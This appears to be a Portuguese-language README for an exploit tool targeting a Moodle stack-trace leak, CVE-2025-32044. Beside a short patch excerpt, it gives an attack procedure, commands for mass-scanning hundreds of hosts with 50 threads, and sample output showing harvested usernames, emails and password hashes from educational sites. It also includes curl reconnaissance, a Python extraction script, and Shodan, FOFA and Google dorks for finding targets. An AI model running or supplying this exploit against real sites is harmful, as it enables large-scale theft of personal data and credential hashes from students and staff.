CVE-2025-32044

// lib/classes/router/response/exception_response.php (ANTES da correção)
protected static function get_payload_data(...): array {
    $data = [
        'message' => $exception->getMessage(),
        'stacktrace' => $exception->getTrace(),  // ← inclui 'args'!
    ];
    return $data;
}

// lib/classes/router/response/exception_response.php (APÓS a correção)
'stacktrace' => array_map(
    fn ($frame): array => array_filter(
        $frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
    ),
    $exception->getTrace(),
),

ini_set('zend.exception_ignore_args', '1');

1. Alvo Moodle 4.5.0-4.5.2 sem zend.exception_ignore_args
2. Enviar requisição malformada para /webservice/rest/server.php
   (ex.: core_user_get_users_by_field com parâmetros obrigatórios faltando)
3. Exceção interna é acionada durante o processamento de dados do usuário
4. A resposta de erro da API inclui stack trace com 'args'
5. Analisar args para nomes de usuário, e-mails, hashes

git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt

# Varredura de alvo único
python cve_2025_32044.py -t moodle.target.com

# Varredura em massa
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt

# Varredura em massa com mais threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt

# Modo debug
python cve_2025_32044.py -t moodle.target.com --debug -v

  -t, --target      Alvo único (domínio ou IP)
  -f, --file        Lista de alvos, um por linha
  -o, --output      Salvar dados de usuário vazados em arquivo
  --threads         Trabalhadores concorrentes (padrão: 30)
  --timeout         Tempo limite da requisição em segundos (padrão: 10)
  --debug           Mostrar cada requisição HTTP
  -v, --verbose     Saída detalhada

$ python cve_2025_32044.py -t moodle-target.com

  Vazamento de Stack Trace do Moodle | CVE-2025-32044 | CVSS 7.5

  Host       : moodle-target.com
  Moodle     : SIM v4.5.1
  WS Ativado : SIM
  Token      : obtido (admin)

  ═══ DADOS VAZADOS ═══
    admin                | [email protected]
    jsmith               | [email protected]
    mjones               | [email protected]
  E-mails: 3
  Hashes: 3
    $2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
  Tempo      : 3.2s

  Vazamento de Stack Trace do Moodle | CVE-2025-32044 | CVSS 7.5
  Alvos: 500  |  Threads: 30  |  Modo: SILENCIOSO

  [VAZAMENTO] moodle-vuln-01.ac.id          users=15 emails=12 hashes=15
  [WS]   moodle-patched-02.edu              token=admin
  [!]    moodle-no-ws-03.org
  [150/500] 30% | Det:87 WS:32 Tok:8 Vazamento:5

  ───────────────────────────────────────────────────────
  Concluído | 320s | Alvos:500 Moodle:87 WS:32 Token:8 Vazados:5

# Verificar se é Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle

# Verificar serviços web
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS ativado + talvez acesso convidado
# {"error":"Web services must be enabled..."} = WS desativado

curl -sk 'https://target.com/login/token.php?username=USUARIO&password=SENHA&service=moodle_mobile_app'

curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# A resposta conterá stacktrace com args se vulnerável

import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
    'wsfunction': 'core_user_get_users_by_field',
    'moodlewsrestformat': 'json',
    'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
    for arg in frame.get('args', []):
        if isinstance(arg, dict) and 'username' in arg:
            print(f"Usuário: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")

FOFA:   body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"